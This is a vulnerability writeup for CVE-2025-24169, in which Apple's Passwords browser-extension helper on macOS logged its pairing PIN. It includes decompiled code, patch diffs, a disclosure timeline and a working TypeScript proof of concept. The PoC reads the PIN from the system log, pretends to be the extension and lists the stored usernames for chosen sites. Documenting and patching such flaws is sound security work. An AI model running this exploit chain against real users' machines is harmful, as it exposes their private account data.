The following is a writeup of CVE-2025-24169, a macOS vulnerability in the native messaging host for third-party browser extensions in Apple Passwords which would allow a malicious actor to determine which accounts a user had stored in Apple Passwords, contravening the protections for Safari Browsing History discussed previously. This was resolved across multiple macOS Sequoia releases starting with macOS 15.3.
Background: iCloud Passwords
Apple introduced the standalone Passwords app in iOS 18 and macOS Sequoia, announced at WWDC 2024. Previously, managing saved credentials required navigating to a dedicated section within the Settings app on iOS or System Settings on macOS – the new standalone app makes this functionality significantly more discoverable and provides a dedicated interface for viewing, editing, and organising saved passwords, passkeys, Wi-Fi credentials, and verification codes.
As part of this release, Apple included support for browser extensions in third-party browsers that integrate with the Passwords app, allowing users to autofill credentials stored in iCloud Keychain outside of Safari. Extensions are available for Google Chrome (and Chromium-based browsers like Microsoft Edge) as well as Firefox in their respective extension marketplaces.
Background: Native messaging
Communication between browser extensions and the operating system is facilitated by the native messaging standard. This allows browser extensions to exchange messages with a native binary on the host system, using standard input (stdin) and standard output (stdout) as the transport mechanism.
The iCloud Passwords browser extensions use a native messaging host binary located at:
/System/Volumes/Preboot/Cryptexes/App/System/Library/CoreServices/PasswordManagerBrowserExtensionHelper.app
This binary is registered with each supported browser via manifest files.
Chrome:
/System/Volumes/Preboot/Cryptexes/App/Library/Google/Chrome/NativeMessagingHosts/com.apple.passwordmanager.json
{
"name": "com.apple.passwordmanager",
"description": "PasswordManagerBrowserExtensionHelper",
"path": "/System/Cryptexes/App/System/Library/CoreServices/PasswordManagerBrowserExtensionHelper.app/Contents/MacOS/PasswordManagerBrowserExtensionHelper",
"type": "stdio",
"allowed_origins": [
"chrome-extension://pejdijmoenmkgeppbflobdenhhabjlaj/",
"chrome-extension://mfbcdcnpokpoajjciilocoachedjkima/"
]
}
Firefox:
/System/Volumes/Preboot/Cryptexes/App/Library/Application Support/Mozilla/NativeMessagingHosts/com.apple.passwordmanager.json
{
"name": "com.apple.passwordmanager",
"description": "PasswordManagerBrowserExtensionHelper",
"path": "/System/Cryptexes/App/System/Library/CoreServices/PasswordManagerBrowserExtensionHelper.app/Contents/MacOS/PasswordManagerBrowserExtensionHelper",
"type": "stdio",
"allowed_extensions": [
"password-manager-firefox-extension@apple.com",
"apple-passwords-firefox-extension@apple.com"
]
}
When a browser extension needs to communicate with the Passwords app, the browser spawns the native messaging host binary (as it is specified in the manifest JSON paths) and exchanges JSON messages via stdin/stdout:
┌─────────────────────────────────────┐
│ Google Chrome / Firefox │
│ │
│ ┌───────────────────────────────┐ │
│ │ iCloud Passwords extension │ │
│ └───────────────────────────────┘ │
└────────────┼────────────────────────┘
│ ▲
spawns │ │ stdin/stdout encoded JSON
process │ │ via SRP session (6-digit PIN)
▼ ▼
┌─────────────────────────────────────┐
│ PasswordManagerBrowserExtension- │
│ Helper.app │
│ │
│ ┌───────────────────────────────┐ │
│ │ Synced password data │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────┘
Inspecting the background.js source code of the Firefox extension reveals the following available commands that can be sent from the browser extension to PasswordManagerBrowserExtensionHelper:
| Command | cmd |
|---|
CmdEndOp | 0 |
CmdChallengePIN | 2 |
CmdSetIconNTitle | 3 |
CmdGetLoginNames4URL | 4 |
CmdGetPassword4LoginName | 5 |
CmdSetPassword4LoginName_URL | 6 |
CmdNewAccount4URL | 7 |
CmdTabEvent | 8 |
CmdPasswordsDisabled | 9 |
CmdReloginNeeded | 10 |
CmdLaunchiCP | 11 |
CmdiCPStateChange | 12 |
CmdLaunchPasswordsApp | 13 |
CmdHello | 14 |
CmdOneTimeCodeAvailable | 15 |
CmdGetOneTimeCodes | 16 |
CmdDidFillOneTimeCode | 17 |
CmdOpenURLInSafari | 1984 |
To establish a secure connection between the browser extension and native messaging binary, the browser extension sends a CmdChallengePIN command which initiates an SRP (Secure Remote Password) key exchange. This causes the native messaging host to display a PIN dialog to the user, which must be entered into the browser extension to derive a shared session key. Once both sides verify the key exchange, subsequent commands are encrypted with AES-128-GCM.
The vulnerability
When a new pairing session was initiated, the PasswordManagerBrowserExtensionHelper binary logged the session PIN to the system log via os_log. Here is the relevant Ghidra decompilation from the CommandHandler::_handleChallengePINCommand: method in macOS 15.2:
iVar2 = _os_log_type_enabled(uVar5,0);
if (iVar2 != 0) {
FUN_100011940(*(undefined8 *)(param_1 + 8));
uVar14 = _objc_retainAutoreleasedReturnValue();
local_80 = 0x8420102;
local_7c = uVar14;
__os_log_impl(0x100000000,uVar5,0,
"New session PIN is: %{public}@",&local_80,0xc);
_objc_release(uVar14);
}
Note the %{public}@ format specifier – this means the PIN is logged in plaintext and is readable by any process with access to the system log. On macOS, any user with administrator privileges can read the system log via Console.app or the log command.
This is significant because the native messaging host does not verify the identity of the process that spawned it. The native messaging protocol itself does not include any mechanism for the native host to verify that it was launched by a legitimate browser – the host binary is simply executed with stdin/stdout connected to the calling process.
This means a malicious application could impersonate a browser, spawn the native messaging host, and use the leaked PIN to establish an authenticated session:
┌─────────────────────────────────────┐ ┌──────────────────────────────────┐
│ Malicious application │ │ macOS system log │
│ │ │ │
│ • Impersonates browser extension │ PIN │ • Readable by admin users │
│ • Monitors system log for PIN ◄────┼──────┤ • `log stream --predicate ...` │
│ │ │ │
└────────────┼────────────────────────┘ └──────────────────▲───────────────┘
│ ▲ │
spawns │ │ stdin/stdout encoded JSON │ PIN logged
process │ │ via SRP session (6-digit PIN) │ via os_log
▼ ▼ │
┌─────────────────────────────────────┐ │
│ PasswordManagerBrowserExtension- ├─────────────────────────┘
│ Helper.app │
│ │
│ ┌───────────────────────────────┐ │
│ │ Synced password data │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────┘
Once a session is established, the malicious application can send commands (as detailed above) to trigger PasswordManagerBrowserExtensionHelper actions. For example, by querying CmdGetLoginNames4URL a malicious application could enumerate which accounts a user has stored for any given domain.
The following is a minimal TypeScript proof of concept demonstrating the full exploit chain. It spawns the native messaging host, monitors the system log for the PIN, completes the SRP handshake, and queries for stored credentials:
import { spawn } from "node:child_process";
// --- PIN interception via system log ---
const logProcess = spawn("log", [
"stream", "--debug", "--predicate",
'subsystem=="com.apple.PasswordManagerBrowserExtensionHelper" and category=="pin"',
]);
logProcess.stdout.on("data", (data) => {
const match = data.toString().match(/New session PIN is: (\d+)/);
if (match?.[1]) {
secretSession.setPin(match[1]);
}
});
// --- Native messaging protocol helpers ---
const encode = (msg: any): Buffer => {
const json = JSON.stringify(msg);
const buf = Buffer.alloc(4 + Buffer.byteLength(json));
buf.writeUInt32LE(Buffer.byteLength(json), 0);
buf.write(json, 4);
return buf;
};
const decode = (data: Buffer): any =>
JSON.parse(data.toString("utf8", 4, 4 + data.readUInt32LE(0)));
// --- Spawn native messaging host ---
const host = spawn(
"/System/Cryptexes/App/System/Library/CoreServices/" +
"PasswordManagerBrowserExtensionHelper.app/Contents/MacOS/" +
"PasswordManagerBrowserExtensionHelper",
["", "", "password-manager-firefox-extension@apple.com"]
);
// --- SRP session (uses sjcl, extracted from the extension source) ---
const secretSession = new SecretSession({
shouldUseBase64: 1,
canFillOneTimeCodes: 1,
});
// Step 1: Send MSG0 to initiate pairing (triggers PIN dialog)
host.stdin.write(encode({
cmd: 2,
msg: JSON.stringify({
QID: "m0",
PAKE: secretSession.initialMessage(),
HSTBRSR: "Firefox",
}),
}));
host.stdout.on("data", (chunk: Buffer) => {
const response = decode(chunk);
if (response.cmd === 2 && response.payload.QID === "m0") {
// Step 2: Received MSG1 from host, PIN was intercepted from log.
// Complete handshake by sending MSG2 with SRP proof.
host.stdin.write(encode({
cmd: 2,
msg: JSON.stringify({
QID: "m2",
PAKE: secretSession.processMessage(response.payload.PAKE),
}),
}));
}
if (response.cmd === 2 && response.payload.QID === "m2") {
// Step 3: Session established. Query for stored credentials.
const query = (url: string) =>
host.stdin.write(encode({
cmd: 4, url, tabId: 1, frameId: 0,
payload: JSON.stringify({
QID: "CmdGetLoginNames4URL",
SMSG: secretSession.createSMSG(
JSON.stringify({ ACT: 5, URL: url })
),
}),
}));
query("www.apple.com");
query("www.facebook.com");
query("www.google.com");
}
if (response.cmd === 4) {
// Step 4: Decrypt and display returned credentials.
const result = JSON.parse(secretSession.parseSMSG(response.payload.SMSG));
result.Entries?.forEach((e: any) => {
console.log(`Found: ${e.USR} on ${e.sites.join(", ")}`);
});
}
});
Here is a video demonstration of the above code packaged as a Node Single Executable Application (SEA) binary:
You can observe the PIN dialog being briefly spawned before it is dismissed automatically when the malicious binary reads the PIN from the system log and successfully creates a session.
One of the existing protections that PasswordManagerBrowserExtensionHelper includes is a requirement that a user authenticates via password or Touch ID when requesting password data (CmdGetPassword4LoginName). As a result, this specific vulnerability is limited to reading usernames for a given site as that requires no user interaction (apart from the malicious binary being launched).
Mitigations
Analysis of the PasswordManagerBrowserExtensionHelper binary across macOS Sequoia releases (using ghidriff to diff the decompiled binaries) reveals a series of mitigations across multiple releases.
macOS 15.3: Removal of PIN logging
The most critical fix – removing the os_log call that logged the session PIN in plaintext – was applied in macOS 15.3. Here’s the relevant portion of the diff between the 15.2 and 15.3 binaries in the CommandHandler::_handleChallengePINCommand: method:
uVar5 = _objc_alloc(&objc::class_t::Session);
- uVar5 = FUN_100011280(uVar5);
+ uVar5 = FUN_1000112a0(uVar5);
uVar14 = *(undefined8 *)(param_1 + 8);
*(undefined8 *)(param_1 + 8) = uVar5;
_objc_release(uVar14);
- FUN_100009f54();
+ FUN_100011960(*(undefined8 *)(param_1 + 8));
uVar5 = _objc_retainAutoreleasedReturnValue();
- iVar2 = _os_log_type_enabled(uVar5,0);
- if (iVar2 != 0) {
- FUN_100011940(*(undefined8 *)(param_1 + 8));
- uVar14 = _objc_retainAutoreleasedReturnValue();
- local_80 = 0x8420102;
- local_7c = uVar14;
- __os_log_impl(0x100000000,uVar5,0,
- "New session PIN is: %{public}@",&local_80,0xc);
- _objc_release(uVar14);
- }
+ FUN_100010660(param_1);
_objc_release(uVar5);
Additionally, the 15.3 update introduced a Session::_reset method which securely clears session state using cc_clear from Apple’s corecrypto library.
macOS 15.4: PIN backoff policy
In macOS 15.4, a brute-force mitigation was introduced in the form of a SessionPINBackoffPolicyEnforcer. This is a new Swift class (_TtC37PasswordManagerBrowserExtensionHelper31SessionPINBackoffPolicyEnforcer) that implements an exponential backoff mechanism for incorrect PIN guesses:
registerIncorrectPINGuess – tracks failed PIN attemptslockoutTimeRemaining – returns the remaining lockout durationresetDeletingKeychainData: – resets the backoff state, with the option to clear persisted data from the keychainisLockedOut on Session – checks whether the current session is in a lockout state
The backoff policy state is persisted in the keychain, meaning it survives application restarts. The lockout UI is surfaced to the user via a new showsLockoutContent property on the PairingPINWindowController, which displays a lockout message in the PIN dialog when too many incorrect attempts have been made.
macOS 15.5: Backoff refinements
The 15.5 release refined the backoff mechanism, adjusting the lockout expiration logic to use a lockoutExpiration timestamp instead of the previous interval-based approach. The reboot detection logic ("System was rebooted since last checking backoff data") was also removed, suggesting the backoff state now persists more robustly across system restarts. Changes to _verifySessionWithCoreCrypto:hamk: and _verifySessionWithEncryptedClientVerifier: also indicate improvements to the session verification process itself.
Timeline
- 2024-12-22: Initial disclosure to Apple
- 2025-01-23: Acknowledgement from Apple Product Security
- 2025-01-27: macOS 15.3 released – PIN logging removed (CVE-2025-24169)
- 2025-02-11: Bounty awarded
- 2025-03-31: macOS 15.4 released – backoff policy introduced
- 2025-05-12: macOS 15.5 released – backoff refinements